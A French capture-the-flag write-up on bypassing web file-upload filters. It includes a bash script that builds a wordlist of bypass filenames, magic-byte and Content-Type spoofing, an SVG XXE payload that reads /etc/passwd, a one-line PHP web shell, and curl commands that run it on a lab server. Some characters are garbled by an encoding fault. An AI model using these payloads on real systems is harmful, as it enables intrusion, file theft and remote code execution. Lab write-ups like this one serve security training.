En essayant d'uploader un shell PHP classique, on remarque que la protection est bien plus stricte, et cette fois-ci cÎté serveur.
đ L'idĂ©e est donc de cibler les extensions acceptĂ©es par le serveur.
â
Parmi elles, l'extension .phar
fonctionne.
On modifie notre fichier shell pour quâil ait lâextension .phar
, puis on lâupload.
đ„ Une fois le fichier en place, on le dĂ©clencheâŠ
đ Et on obtient le flag !
Dans certains challenges, les filtres cĂŽtĂ© serveur reposent sur une whitelist dâextensions autorisĂ©es, souvent implĂ©mentĂ©e via une expression rĂ©guliĂšre.
Mais ces regex peuvent ĂȘtre mal conçues et donc vulnĂ©rables Ă des contournements.
Pour tester différentes combinaisons de noms de fichiers, on génÚre une wordlist avec ce script :
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' 'âŠ' ':'; do for ext in '.php' '.phps' '.phar' '.phtml'; do echo "shell$char$ext.jpg" >> wordlist.txt echo "shell$ext$char.jpg" >> wordlist.txt echo "shell.jpg$char$ext" >> wordlist.txt echo "shell.jpg$ext$char" >> wordlist.txt done done
Avec Burp Suite Intruder, on utilise notre wordlist pour tester l'upload fichier par fichier. On observe les réponses du serveur pour savoir lesquels sont acceptés, rejetés, ou uploadés mais inaccessibles.
â ïž ProblĂšmes rencontrĂ©s Certains fichiers sont bien uploadĂ©s, mais inaccessibles via HTTP.
Dâautres gĂ©nĂšrent des erreurs de permission Ă lâexĂ©cution.
Il faut donc tester plusieurs combinaisons jusquâĂ trouver un contournement fonctionnel. Dans mon cas, un fichier avec lâextension .phar.jpeg a Ă©tĂ© acceptĂ© et interprĂ©tĂ© comme du PHP via une requĂȘte comme suit :
curl http://94.237.51.163:44971/profile_images/shell.phar.jpeg?cmd=cat%20/flag.txt
Dans ce scĂ©nario, on ne filtre plus seulement les extensions, mais Ă©galement le type MIME dĂ©clarĂ© dans la requĂȘte HTTP.
On doit donc combiner plusieurs techniques pour contourner les protections.
On utilise ici une approche en deux temps :
.phar.jpg
, déjà acceptée précédemment.Content-Type
pour déterminer les types autorisés.En testant plusieurs valeurs via Burp Suite, on découvre que le serveur accepte :
Content-Type: image/gif
On commence le fichier par GIF89a pour bypasser la vérification magique.
Puis on insĂšre un shell PHP classique dans le reste du fichier.
On lâenvoie avec Content-Type: image/gif.
Et le serveur l'accepte !
On commence par repĂ©rer le seul endroit oĂč il est possible dâuploader un fichier :
le formulaire de contact
Cependant, seules les images (avec extension .jpg
, .jpeg
, etc.) sont autorisées.
On va donc contourner cette vérification en uploadant un fichier SVG déguisé en JPEG (extension .jpg
).
Objectif : exploiter une Stored XSS ou une XXE (XML External Entity) via un fichier SVG.
Voici un exemple de payload SVG contenant une entité externe (XXE) pour lire des fichiers cÎté serveur :
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg>
â
Une fois le fichier uploadé, on obtient bien un retour contenant le contenu de /etc/passwd
.
On cherche maintenant à connaßtre le dossier de destination des fichiers uploadés.
En lisant le fichier upload.php
grĂące Ă une autre XXE (ou lecture directe), on trouve quelque chose de ce type :
Une fois décodé (souvent encodé en base64), on découvre que les fichiers sont enregistrés dans :
user_feedback_submissions/
Et quâils sont renommĂ©s Ă lâupload, typiquement avec un prĂ©fixe basĂ© sur la date (date('ymd')
).
On combine tout ce quâon a appris :
shell.phar.jpg
)FF D8
) + payload PHP/user_feedback_submissions/250620_shell.phar.jpg
Exemple de contenu PHP dans lâimage :
<?php echo system($_GET['cmd']); ?>
Il suffit maintenant dâutiliser un paramĂštre comme ?cmd=cat flag.txt
, ou dâexplorer les fichiers sensibles.
Le flag est récupéré avec succÚs via le shell distant.
Ătape | Description |
---|---|
1ïžâŁ | Upload d'un SVG masquĂ© en JPEG |
2ïžâŁ | Exploitation XXE pour lire /etc/passwd |
3ïžâŁ | Lecture de upload.php pour dĂ©couvrir le chemin user_feedback_submissions/ |
4ïžâŁ | Upload dâun fichier PHP camouflĂ© en .jpg |
5ïžâŁ | RĂ©cupĂ©ration du flag via system() dans le shell |